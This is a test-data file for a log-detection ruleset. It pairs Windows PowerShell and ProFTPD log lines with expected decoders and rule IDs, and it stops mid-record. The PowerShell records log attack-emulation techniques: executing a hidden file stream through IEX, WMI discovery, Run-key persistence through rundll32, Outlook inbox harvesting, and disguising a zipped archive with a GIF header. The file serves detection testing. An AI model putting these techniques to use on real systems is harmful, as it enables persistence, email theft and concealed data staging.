IEX\", \"scriptBlockId\": \"84d37fbf-a57c-4e2f-99b9-e79d3c2ed956\" }, \"system\": { \"eventID\": \"4104\", \"keywords\": \"0x0\", \"providerGuid\": \"{a0c1853b-5c40-4b15-8766-3cf1c58f985a}\", \"level\": \"5\", \"channel\": \"Microsoft-Windows-PowerShell/Operational\", \"opcode\": \"15\", \"message\": \"\\\"Creating Scriptblock text (1 of 1):\\r\\nGet-Content '.\\\\2016_United_States_presidential_election_-_Wikipedia.html' -Stream schemas | IEX\\r\\n\\r\\nScriptBlock ID: 84d37fbf-a57c-4e2f-99b9-e79d3c2ed956\\r\\nPath: \\\"\", \"version\": \"1\", \"systemTime\": \"2021-11-01T15:47:12.4764636Z\", \"eventRecordID\": \"2115353\", \"threadID\": \"2168\", \"computer\": \"Workstation1.dc.local\", \"task\": \"2\", \"processID\": \"5712\", \"severityValue\": \"VERBOSE\", \"providerName\": \"Microsoft-Windows-PowerShell\" } } }", "decoder": "json", "parent": "", "fields": {"win.eventdata.messageNumber": "1", "win.eventdata.messageTotal": "1", "win.eventdata.scriptBlockId": "84d37fbf-a57c-4e2f-99b9-e79d3c2ed956", "win.eventdata.scriptBlockText": "Get-Content '.\\\\2016_United_States_presidential_election_-_Wikipedia.html' -Stream schemas | IEX", "win.system.channel": "Microsoft-Windows-PowerShell/Operational", "win.system.computer": "Workstation1.dc.local", "win.system.eventID": "4104", "win.system.eventRecordID": "2115353", "win.system.keywords": "0x0", "win.system.level": "5", "win.system.opcode": "15", "win.system.processID": "5712", "win.system.providerGuid": "{a0c1853b-5c40-4b15-8766-3cf1c58f985a}", "win.system.providerName": "Microsoft-Windows-PowerShell", "win.system.severityValue": "VERBOSE", "win.system.systemTime": "2021-11-01T15:47:12.4764636Z", "win.system.task": "2", "win.system.threadID": "2168", "win.system.version": "1"}, "field_names": ["win.eventdata.messageNumber", "win.eventdata.messageTotal", "win.eventdata.scriptBlockId", "win.eventdata.scriptBlockText", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "91837", "rule_matches_expected": false, "ini_file": "powershell.ini", "section": "Powershell executed \"Get-Content -Stream or Invoke-Expresion\". Possible string execution as code"} +{"log": "{ \"win\": { \"eventdata\": { \"messageNumber\": \"1\", \"messageTotal\": \"1\", \"scriptBlockText\": \"gwmi -namespace root\\\\\\\\cimv2 -query \\\\\\\"SELECT * FROM Win32_BIOS\\\\\\\"\", \"scriptBlockId\": \"b73c1e9d-16c1-411b-948e-c9d356567c1e\" }, \"system\": { \"eventID\": \"4104\", \"keywords\": \"0x0\", \"providerGuid\": \"{a0c1853b-5c40-4b15-8766-3cf1c58f985a}\", \"level\": \"5\", \"channel\": \"Microsoft-Windows-PowerShell/Operational\", \"opcode\": \"15\", \"message\": \"\\\"Creating Scriptblock text (1 of 1):\\r\\ngwmi -namespace root\\\\cimv2 -query \\\"SELECT * FROM Win32_BIOS\\\"\\r\\n\\r\\nScriptBlock ID: b73c1e9d-16c1-411b-948e-c9d356567c1e\\r\\nPath: \\\"\", \"version\": \"1\", \"systemTime\": \"2021-11-01T15:47:13.3197975Z\", \"eventRecordID\": \"2115361\", \"threadID\": \"2168\", \"computer\": \"Workstation1.dc.local\", \"task\": \"2\", \"processID\": \"5712\", \"severityValue\": \"VERBOSE\", \"providerName\": \"Microsoft-Windows-PowerShell\" } } }", "decoder": "json", "parent": "", "fields": {"win.eventdata.messageNumber": "1", "win.eventdata.messageTotal": "1", "win.eventdata.scriptBlockId": "b73c1e9d-16c1-411b-948e-c9d356567c1e", "win.eventdata.scriptBlockText": "gwmi -namespace root\\\\cimv2 -query \\\"SELECT * FROM Win32_BIOS\\\"", "win.system.channel": "Microsoft-Windows-PowerShell/Operational", "win.system.computer": "Workstation1.dc.local", "win.system.eventID": "4104", "win.system.eventRecordID": "2115361", "win.system.keywords": "0x0", "win.system.level": "5", "win.system.opcode": "15", "win.system.processID": "5712", "win.system.providerGuid": "{a0c1853b-5c40-4b15-8766-3cf1c58f985a}", "win.system.providerName": "Microsoft-Windows-PowerShell", "win.system.severityValue": "VERBOSE", "win.system.systemTime": "2021-11-01T15:47:13.3197975Z", "win.system.task": "2", "win.system.threadID": "2168", "win.system.version": "1"}, "field_names": ["win.eventdata.messageNumber", "win.eventdata.messageTotal", "win.eventdata.scriptBlockId", "win.eventdata.scriptBlockText", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "91838", "rule_matches_expected": false, "ini_file": "powershell.ini", "section": "Powershell queried Win32_BIOS. Possible sandbox detection activity"} +{"log": "{ \"win\": { \"eventdata\": { \"messageNumber\": \"1\", \"messageTotal\": \"1\", \"scriptBlockText\": \"gwmi -namespace root\\\\\\\\cimv2 -query \\\\\\\"Select * from Win32_ComputerSystem\\\\\\\"\", \"scriptBlockId\": \"e6788369-796a-4b17-b53b-e1af3adb5cca\" }, \"system\": { \"eventID\": \"4104\", \"keywords\": \"0x0\", \"providerGuid\": \"{a0c1853b-5c40-4b15-8766-3cf1c58f985a}\", \"level\": \"5\", \"channel\": \"Microsoft-Windows-PowerShell/Operational\", \"opcode\": \"15\", \"message\": \"\\\"Creating Scriptblock text (1 of 1):\\r\\ngwmi -namespace root\\\\cimv2 -query \\\"Select * from Win32_ComputerSystem\\\"\\r\\n\\r\\nScriptBlock ID: e6788369-796a-4b17-b53b-e1af3adb5cca\\r\\nPath: \\\"\", \"version\": \"1\", \"systemTime\": \"2021-11-01T15:47:44.1298641Z\", \"eventRecordID\": \"2115487\", \"threadID\": \"2168\", \"computer\": \"Workstation1.dc.local\", \"task\": \"2\", \"processID\": \"5712\", \"severityValue\": \"VERBOSE\", \"providerName\": \"Microsoft-Windows-PowerShell\" } } }", "decoder": "json", "parent": "", "fields": {"win.eventdata.messageNumber": "1", "win.eventdata.messageTotal": "1", "win.eventdata.scriptBlockId": "e6788369-796a-4b17-b53b-e1af3adb5cca", "win.eventdata.scriptBlockText": "gwmi -namespace root\\\\cimv2 -query \\\"Select * from Win32_ComputerSystem\\\"", "win.system.channel": "Microsoft-Windows-PowerShell/Operational", "win.system.computer": "Workstation1.dc.local", "win.system.eventID": "4104", "win.system.eventRecordID": "2115487", "win.system.keywords": "0x0", "win.system.level": "5", "win.system.opcode": "15", "win.system.processID": "5712", "win.system.providerGuid": "{a0c1853b-5c40-4b15-8766-3cf1c58f985a}", "win.system.providerName": "Microsoft-Windows-PowerShell", "win.system.severityValue": "VERBOSE", "win.system.systemTime": "2021-11-01T15:47:44.1298641Z", "win.system.task": "2", "win.system.threadID": "2168", "win.system.version": "1"}, "field_names": ["win.eventdata.messageNumber", "win.eventdata.messageTotal", "win.eventdata.scriptBlockId", "win.eventdata.scriptBlockText", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "91839", "rule_matches_expected": false, "ini_file": "powershell.ini", "section": "Powershell queried Win32_ComputerSystem. Possible system discovery activity"} +{"log": "{ \"win\": { \"eventdata\": { \"messageNumber\": \"1\", \"messageTotal\": \"1\", \"scriptBlockText\": \"gwmi -namespace root\\\\\\\\cimv2 -query \\\\\\\"SELECT * FROM Win32_PnPEntity\\\\\\\"\", \"scriptBlockId\": \"7ad5ccae-abbd-4e08-99b0-aedeb1953762\" }, \"system\": { \"eventID\": \"4104\", \"keywords\": \"0x0\", \"providerGuid\": \"{a0c1853b-5c40-4b15-8766-3cf1c58f985a}\", \"level\": \"5\", \"channel\": \"Microsoft-Windows-PowerShell/Operational\", \"opcode\": \"15\", \"message\": \"\\\"Creating Scriptblock text (1 of 1):\\r\\ngwmi -namespace root\\\\cimv2 -query \\\"SELECT * FROM Win32_PnPEntity\\\"\\r\\n\\r\\nScriptBlock ID: 7ad5ccae-abbd-4e08-99b0-aedeb1953762\\r\\nPath: \\\"\", \"version\": \"1\", \"systemTime\": \"2021-11-01T15:47:24.2399928Z\", \"eventRecordID\": \"2115404\", \"threadID\": \"2168\", \"computer\": \"Workstation1.dc.local\", \"task\": \"2\", \"processID\": \"5712\", \"severityValue\": \"VERBOSE\", \"providerName\": \"Microsoft-Windows-PowerShell\" } } }", "decoder": "json", "parent": "", "fields": {"win.eventdata.messageNumber": "1", "win.eventdata.messageTotal": "1", "win.eventdata.scriptBlockId": "7ad5ccae-abbd-4e08-99b0-aedeb1953762", "win.eventdata.scriptBlockText": "gwmi -namespace root\\\\cimv2 -query \\\"SELECT * FROM Win32_PnPEntity\\\"", "win.system.channel": "Microsoft-Windows-PowerShell/Operational", "win.system.computer": "Workstation1.dc.local", "win.system.eventID": "4104", "win.system.eventRecordID": "2115404", "win.system.keywords": "0x0", "win.system.level": "5", "win.system.opcode": "15", "win.system.processID": "5712", "win.system.providerGuid": "{a0c1853b-5c40-4b15-8766-3cf1c58f985a}", "win.system.providerName": "Microsoft-Windows-PowerShell", "win.system.severityValue": "VERBOSE", "win.system.systemTime": "2021-11-01T15:47:24.2399928Z", "win.system.task": "2", "win.system.threadID": "2168", "win.system.version": "1"}, "field_names": ["win.eventdata.messageNumber", "win.eventdata.messageTotal", "win.eventdata.scriptBlockId", "win.eventdata.scriptBlockText", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "91840", "rule_matches_expected": false, "ini_file": "powershell.ini", "section": "Powershell queried Win32_PnPEntity. Possible devices/adapter discovery activity"} +{"log": "{ \"win\": { \"eventdata\": { \"messageNumber\": \"1\", \"messageTotal\": \"1\", \"scriptBlockText\": \"gwmi -namespace root\\\\\\\\cimv2 -query \\\\\\\"SELECT * FROM Win32_Process\\\\\\\"\", \"scriptBlockId\": \"f06ae7f5-fff2-4204-b04f-2d0f5ee508d4\" }, \"system\": { \"eventID\": \"4104\", \"keywords\": \"0x0\", \"providerGuid\": \"{a0c1853b-5c40-4b15-8766-3cf1c58f985a}\", \"level\": \"5\", \"channel\": \"Microsoft-Windows-PowerShell/Operational\", \"opcode\": \"15\", \"message\": \"\\\"Creating Scriptblock text (1 of 1):\\r\\ngwmi -namespace root\\\\cimv2 -query \\\"SELECT * FROM Win32_Process\\\"\\r\\n\\r\\nScriptBlock ID: f06ae7f5-fff2-4204-b04f-2d0f5ee508d4\\r\\nPath: \\\"\", \"version\": \"1\", \"systemTime\": \"2021-11-01T15:47:44.2325037Z\", \"eventRecordID\": \"2115490\", \"threadID\": \"2168\", \"computer\": \"Workstation1.dc.local\", \"task\": \"2\", \"processID\": \"5712\", \"severityValue\": \"VERBOSE\", \"providerName\": \"Microsoft-Windows-PowerShell\" } } }", "decoder": "json", "parent": "", "fields": {"win.eventdata.messageNumber": "1", "win.eventdata.messageTotal": "1", "win.eventdata.scriptBlockId": "f06ae7f5-fff2-4204-b04f-2d0f5ee508d4", "win.eventdata.scriptBlockText": "gwmi -namespace root\\\\cimv2 -query \\\"SELECT * FROM Win32_Process\\\"", "win.system.channel": "Microsoft-Windows-PowerShell/Operational", "win.system.computer": "Workstation1.dc.local", "win.system.eventID": "4104", "win.system.eventRecordID": "2115490", "win.system.keywords": "0x0", "win.system.level": "5", "win.system.opcode": "15", "win.system.processID": "5712", "win.system.providerGuid": "{a0c1853b-5c40-4b15-8766-3cf1c58f985a}", "win.system.providerName": "Microsoft-Windows-PowerShell", "win.system.severityValue": "VERBOSE", "win.system.systemTime": "2021-11-01T15:47:44.2325037Z", "win.system.task": "2", "win.system.threadID": "2168", "win.system.version": "1"}, "field_names": ["win.eventdata.messageNumber", "win.eventdata.messageTotal", "win.eventdata.scriptBlockId", "win.eventdata.scriptBlockText", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "91841", "rule_matches_expected": false, "ini_file": "powershell.ini", "section": "Powershell queried Win32_Process. Possible process discovery activity"} +{"log": "{ \"win\": { \"eventdata\": { \"messageNumber\": \"1\", \"messageTotal\": \"1\", \"scriptBlockText\": \"(Get-Item -Path \\\\\\\".\\\\\\\\\\\\\\\" -Verbose).FullName\", \"scriptBlockId\": \"11f76c3e-104b-49f4-b1b0-d76598efe5fd\" }, \"system\": { \"eventID\": \"4104\", \"keywords\": \"0x0\", \"providerGuid\": \"{a0c1853b-5c40-4b15-8766-3cf1c58f985a}\", \"level\": \"5\", \"channel\": \"Microsoft-Windows-PowerShell/Operational\", \"opcode\": \"15\", \"message\": \"\\\"Creating Scriptblock text (1 of 1):\\r\\n(Get-Item -Path \\\".\\\\\\\" -Verbose).FullName\\r\\n\\r\\nScriptBlock ID: 11f76c3e-104b-49f4-b1b0-d76598efe5fd\\r\\nPath: \\\"\", \"version\": \"1\", \"systemTime\": \"2021-11-01T15:48:15.8564304Z\", \"eventRecordID\": \"2115799\", \"threadID\": \"2168\", \"computer\": \"Workstation1.dc.local\", \"task\": \"2\", \"processID\": \"5712\", \"severityValue\": \"VERBOSE\", \"providerName\": \"Microsoft-Windows-PowerShell\" } } }", "decoder": "json", "parent": "", "fields": {"win.eventdata.messageNumber": "1", "win.eventdata.messageTotal": "1", "win.eventdata.scriptBlockId": "11f76c3e-104b-49f4-b1b0-d76598efe5fd", "win.eventdata.scriptBlockText": "(Get-Item -Path \\\".\\\\\\\" -Verbose).FullName", "win.system.channel": "Microsoft-Windows-PowerShell/Operational", "win.system.computer": "Workstation1.dc.local", "win.system.eventID": "4104", "win.system.eventRecordID": "2115799", "win.system.keywords": "0x0", "win.system.level": "5", "win.system.opcode": "15", "win.system.processID": "5712", "win.system.providerGuid": "{a0c1853b-5c40-4b15-8766-3cf1c58f985a}", "win.system.providerName": "Microsoft-Windows-PowerShell", "win.system.severityValue": "VERBOSE", "win.system.systemTime": "2021-11-01T15:48:15.8564304Z", "win.system.task": "2", "win.system.threadID": "2168", "win.system.version": "1"}, "field_names": ["win.eventdata.messageNumber", "win.eventdata.messageTotal", "win.eventdata.scriptBlockId", "win.eventdata.scriptBlockText", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "91842", "rule_matches_expected": false, "ini_file": "powershell.ini", "section": "Powershell executed \"Get-Item -Path\". Script trying to see files in path"} +{"log": "{ \"win\": { \"eventdata\": { \"messageNumber\": \"1\", \"messageTotal\": \"1\", \"scriptBlockText\": \"New-ItemProperty -Force -Path \\\\\\\"HKCU:\\\\\\\\SOFTWARE\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\" -Name \\\\\\\"WebCache\\\\\\\" -Value \\\\\\\"C:\\\\\\\\windows\\\\\\\\system32\\\\\\\\rundll32.exe $env:appdata\\\\\\\\Microsoft\\\\\\\\kxwn.lock,VoidFunc\\\\\\\"\", \"scriptBlockId\": \"b1231a56-2c12-4535-81cd-d35eefe429ad\" }, \"system\": { \"eventID\": \"4104\", \"keywords\": \"0x0\", \"providerGuid\": \"{a0c1853b-5c40-4b15-8766-3cf1c58f985a}\", \"level\": \"5\", \"channel\": \"Microsoft-Windows-PowerShell/Operational\", \"opcode\": \"15\", \"message\": \"\\\"Creating Scriptblock text (1 of 1):\\r\\nNew-ItemProperty -Force -Path \\\"HKCU:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\" -Name \\\"WebCache\\\" -Value \\\"C:\\\\windows\\\\system32\\\\rundll32.exe $env:appdata\\\\Microsoft\\\\kxwn.lock,VoidFunc\\\"\\r\\n\\r\\nScriptBlock ID: b1231a56-2c12-4535-81cd-d35eefe429ad\\r\\nPath: \\\"\", \"version\": \"1\", \"systemTime\": \"2021-11-01T15:48:17.0534599Z\", \"eventRecordID\": \"2115824\", \"threadID\": \"2168\", \"computer\": \"Workstation1.dc.local\", \"task\": \"2\", \"processID\": \"5712\", \"severityValue\": \"VERBOSE\", \"providerName\": \"Microsoft-Windows-PowerShell\" } } }", "decoder": "json", "parent": "", "fields": {"win.eventdata.messageNumber": "1", "win.eventdata.messageTotal": "1", "win.eventdata.scriptBlockId": "b1231a56-2c12-4535-81cd-d35eefe429ad", "win.eventdata.scriptBlockText": "New-ItemProperty -Force -Path \\\"HKCU:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\" -Name \\\"WebCache\\\" -Value \\\"C:\\\\windows\\\\system32\\\\rundll32.exe $env:appdata\\\\Microsoft\\\\kxwn.lock,VoidFunc\\\"", "win.system.channel": "Microsoft-Windows-PowerShell/Operational", "win.system.computer": "Workstation1.dc.local", "win.system.eventID": "4104", "win.system.eventRecordID": "2115824", "win.system.keywords": "0x0", "win.system.level": "5", "win.system.opcode": "15", "win.system.processID": "5712", "win.system.providerGuid": "{a0c1853b-5c40-4b15-8766-3cf1c58f985a}", "win.system.providerName": "Microsoft-Windows-PowerShell", "win.system.severityValue": "VERBOSE", "win.system.systemTime": "2021-11-01T15:48:17.0534599Z", "win.system.task": "2", "win.system.threadID": "2168", "win.system.version": "1"}, "field_names": ["win.eventdata.messageNumber", "win.eventdata.messageTotal", "win.eventdata.scriptBlockId", "win.eventdata.scriptBlockText", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "91844", "rule_matches_expected": false, "ini_file": "powershell.ini", "section": "Possible addition of new item to Windows startup registry"} +{"log": "{\"win\":{\"eventdata\":{\"messageNumber\":\"1\",\"messageTotal\":\"1\",\"scriptBlockText\":\"# This code was derived from https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1114/Get-Inbox.ps1 function psemail { Add-type -assembly \\\\\\\"Microsoft.Office.Interop.Outlook\\\\\\\" | out-null $olFolders = \\\\\\\"Microsoft.Office.Interop.Outlook.olDefaultFolders\\\\\\\" -as [type] $outlook = new-object -comobject outlook.application $namespace = $outlook.GetNameSpace(\\\\\\\"MAPI\\\\\\\") $folder = $namespace.getDefaultFolder($olFolders::olFolderInBox) $folder.items | Select-Object -Property Subject, ReceivedTime, SenderName, Body }\",\"scriptBlockId\":\"40089664-d41b-4355-b655-0d8f36a78b68\"},\"system\":{\"eventID\":\"4104\",\"keywords\":\"0x0\",\"providerGuid\":\"{a0c1853b-5c40-4b15-8766-3cf1c58f985a}\",\"level\":\"3\",\"channel\":\"Microsoft-Windows-PowerShell/Operational\",\"opcode\":\"15\",\"message\":\"\\\"Creating Scriptblock text (1 of 1):\\r\\n# This code was derived from https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1114/Get-Inbox.ps1\\n\\nfunction psemail {\\n\\tAdd-type -assembly \\\"Microsoft.Office.Interop.Outlook\\\" | out-null\\n\\t$olFolders = \\\"Microsoft.Office.Interop.Outlook.olDefaultFolders\\\" -as [type]\\n\\t$outlook = new-object -comobject outlook.application\\n\\t$namespace = $outlook.GetNameSpace(\\\"MAPI\\\")\\n\\t$folder = $namespace.getDefaultFolder($olFolders::olFolderInBox)\\n\\t$folder.items | Select-Object -Property Subject, ReceivedTime, SenderName, Body\\n}\\r\\n\\r\\nScriptBlock ID: 40089664-d41b-4355-b655-0d8f36a78b68\\r\\nPath: \\\"\",\"version\":\"1\",\"systemTime\":\"2021-11-05T19:04:41.4624006Z\",\"eventRecordID\":\"97310\",\"threadID\":\"4828\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"2\",\"processID\":\"6468\",\"severityValue\":\"WARNING\",\"providerName\":\"Microsoft-Windows-PowerShell\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.messageNumber": "1", "win.eventdata.messageTotal": "1", "win.eventdata.scriptBlockId": "40089664-d41b-4355-b655-0d8f36a78b68", "win.eventdata.scriptBlockText": "# This code was derived from https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1114/Get-Inbox.ps1 function psemail { Add-type -assembly \\\"Microsoft.Office.Interop.Outlook\\\" | out-null $olFolders = \\\"Microsoft.Office.Interop.Outlook.olDefaultFolders\\\" -as [type] $outlook = new-object -comobject outlook.application $namespace = $outlook.GetNameSpace(\\\"MAPI\\\") $folder = $namespace.getDefaultFolder($olFolders::olFolderInBox) $folder.items | Select-Object -Property Subject, ReceivedTime, SenderName, Body }", "win.system.channel": "Microsoft-Windows-PowerShell/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "4104", "win.system.eventRecordID": "97310", "win.system.keywords": "0x0", "win.system.level": "3", "win.system.opcode": "15", "win.system.processID": "6468", "win.system.providerGuid": "{a0c1853b-5c40-4b15-8766-3cf1c58f985a}", "win.system.providerName": "Microsoft-Windows-PowerShell", "win.system.severityValue": "WARNING", "win.system.systemTime": "2021-11-05T19:04:41.4624006Z", "win.system.task": "2", "win.system.threadID": "4828", "win.system.version": "1"}, "field_names": ["win.eventdata.messageNumber", "win.eventdata.messageTotal", "win.eventdata.scriptBlockId", "win.eventdata.scriptBlockText", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "91845", "rule_matches_expected": false, "ini_file": "powershell.ini", "section": "Outlook add-in was loaded by powershell"} +{"log": "{\"win\":{\"eventdata\":{\"messageNumber\":\"1\",\"messageTotal\":\"1\",\"scriptBlockText\":\"function zip( $zipfilename, $sourcedir ) { Add-Type -Assembly System.IO.Compression.FileSystem $compressionLevel = [System.IO.Compression.CompressionLevel]::Optimal [System.IO.Compression.ZipFile]::CreateFromDirectory($sourcedir, $zipfilename, $compressionLevel, $false) Start-Sleep -s 3 \\\\t$fileContent = get-content $zipfilename $fileContentBytes = [System.Text.Encoding]::UTF8.GetBytes($fileContent) $fileContentEncoded = [System.Convert]::ToBase64String($fileContentBytes) $fileContentEncoded | set-content $zipfilename [Byte[]] $x = 0x47,0x49,0x46,0x38,0x39,0x61 $save = get-content $zipfilename $x | set-content $zipfilename -Encoding Byte add-content $zipfilename $save }\",\"scriptBlockId\":\"279aee7f-0fa4-4cc6-8610-ce6112a598d3\"},\"system\":{\"eventID\":\"4104\",\"keywords\":\"0x0\",\"providerGuid\":\"{a0c1853b-5c40-4b15-8766-3cf1c58f985a}\",\"level\":\"5\",\"channel\":\"Microsoft-Windows-PowerShell/Operational\",\"opcode\":\"15\",\"message\":\"\\\"Creating Scriptblock text (1 of 1):\\r\\nfunction zip( $zipfilename, $sourcedir )\\n{\\n Add-Type -Assembly System.IO.Compression.FileSystem\\n $compressionLevel = [System.IO.Compression.CompressionLevel]::Optimal\\n [System.IO.Compression.ZipFile]::CreateFromDirectory($sourcedir, $zipfilename, $compressionLevel, $false)\\n Start-Sleep -s 3\\n \\t$fileContent = get-content $zipfilename\\n\\t$fileContentBytes = [System.Text.Encoding]::UTF8.GetBytes($fileContent)\\n\\t$fileContentEncoded = [System.Convert]::ToBase64String($fileContentBytes)\\n\\t$fileContentEncoded | set-content $zipfilename\\n\\t[Byte[]] $x = 0x47,0x49,0x46,0x38,0x39,0x61\\n\\t$save = get-content $zipfilename\\n\\t$x | set-content $zipfilename -Encoding Byte\\n\\tadd-content $zipfilename $save\\n}\\r\\n\\r\\nScriptBlock ID: 279aee7f-0fa4-4cc6-8610-ce6112a598d3\\r\\nPath: \\\"\",\"version\":\"1\",\"systemTime\":\"2021-11-08T14:59:43.7761674Z\",\"eventRecordID\":\"97407\",\"threadID\":\"3972\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"2\",\"processID\":\"8120\",\"severityValue\":\"VERBOSE\",\"providerName\":\"Microsoft-Windows-PowerShell\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.messageNumber": "1", "win.eventdata.messageTotal": "1", "win.eventdata.scriptBlockId": "279aee7f-0fa4-4cc6-8610-ce6112a598d3", "win.eventdata.scriptBlockText": "function zip( $zipfilename, $sourcedir ) { Add-Type -Assembly System.IO.Compression.FileSystem $compressionLevel = [System.IO.Compression.CompressionLevel]::Optimal [System.IO.Compression.ZipFile]::CreateFromDirectory($sourcedir, $zipfilename, $compressionLevel, $false) Start-Sleep -s 3 \\t$fileContent = get-content $zipfilename $fileContentBytes = [System.Text.Encoding]::UTF8.GetBytes($fileContent) $fileContentEncoded = [System.Convert]::ToBase64String($fileContentBytes) $fileContentEncoded | set-content $zipfilename [Byte[]] $x = 0x47,0x49,0x46,0x38,0x39,0x61 $save = get-content $zipfilename $x | set-content $zipfilename -Encoding Byte add-content $zipfilename $save }", "win.system.channel": "Microsoft-Windows-PowerShell/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "4104", "win.system.eventRecordID": "97407", "win.system.keywords": "0x0", "win.system.level": "5", "win.system.opcode": "15", "win.system.processID": "8120", "win.system.providerGuid": "{a0c1853b-5c40-4b15-8766-3cf1c58f985a}", "win.system.providerName": "Microsoft-Windows-PowerShell", "win.system.severityValue": "VERBOSE", "win.system.systemTime": "2021-11-08T14:59:43.7761674Z", "win.system.task": "2", "win.system.threadID": "3972", "win.system.version": "1"}, "field_names": ["win.eventdata.messageNumber", "win.eventdata.messageTotal", "win.eventdata.scriptBlockId", "win.eventdata.scriptBlockText", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "91846", "rule_matches_expected": false, "ini_file": "powershell.ini", "section": "Powershell used .NET compression method"} +{"log": "Jan 04 22:51:57 server proftpd[26169] server.example.net: Fatal: unable to open incoming connection: Der Socket ist nicht verbunden", "decoder": "proftpd", "parent": "", "fields": {}, "field_names": [], "rule": "11222", "level": "4", "expected_decoder": "proftpd", "expected_rule": "11222", "rule_matches_expected": true, "ini_file": "proftpd.ini", "section": "Unable to open incoming connection (reason may vary)."} +{"log": "Jan 04 22:51:57 hayaletgemi proftpd[26916]: hayaletgemi (85.101.218.135[85.101.218.135]) - ANON anonymous: Login successful.", "decoder": "proftpd", "parent": "proftpd", "fields": {"dstuser": "anonymous", "srcip": "85.101.218.135"}, "field_names": ["dstuser", "srcip"], "rule": "11205", "level": "3", "expected_decoder": "proftpd", "expected_rule": "11205", "rule_matches_expected": true, "ini_file": "proftpd.ini", "section": "FTP Authentication success."} +{"log": "Jan 04 22:51:57 juf01 proftpd[12564]: juf01 (pD9EE35B1.dip.t-dialin.net[217.238.53.177]) - USER jufu: Login successful", "decoder": "proftpd", "parent": "proftpd", "fields": {"dstuser": "jufu", "srcip": "217.238.53.177"}, "field_names": ["dstuser", "srcip"], "rule": "11205", "level": "3", "expected_decoder": "proftpd", "expected_rule": "11205", "rule_matches_expected": true, "ini_file": "proftpd.ini", "section": "FTP Authentication success."} +{"log": "Jan 04 22:51:57 xx.yy.zz proftpd[30362] xx.yy.zz (aa.bb.cc[aa.bb.vv.dd]): USER backup: Login successful.", "decoder": "proftpd", "parent": "proftpd", "fields": {"dstuser": "backup", "srcip": "aa.bb.vv.dd"}, "field_names": ["dstuser", "srcip"], "rule": "11205", "level": "3", "expected_decoder": "proftpd", "expected_rule": "11205", "rule_matches_expected": true, "ini_file": "proftpd.ini", "section": "FTP Authentication success."} +{"log": "Jan 04 22:51:57 server proftpd[2344]: refused connect from 192.168.1.2 (192.168.1.2)", "decoder": "proftpd", "parent": "", "fields": {}, "field_names": [], "rule": "11207", "level": "5", "expected_decoder": "proftpd", "expected_rule": "11207", "rule_matches_expected": true, "ini_file": "proftpd.ini", "section": "Connection refused by TCP Wrappers."} +{"log": "Jan 04 22:51:57 valhalla proftpd[15181]: valhalla (crawl-66-249-66-80.googlebot.com[66.249.66.80]) - Connection from crawl-66-249-66-80.googlebot.com [66.249.66.80] denied.", "decoder": "proftpd", "parent": "", "fields": {"srcip": "66.249.66.80"}, "field_names": ["srcip"], "rule": "11206", "level": "5", "expected_decoder": "proftpd", "expected_rule": "11206", "rule_matches_expected": true, "ini_file": "proftpd.ini", "section": "Connection denied by ProFTPD configuration."} +{"log": "2015-04-16 21:51:02,805 zuse proftpd[26189] zuse.domain.com 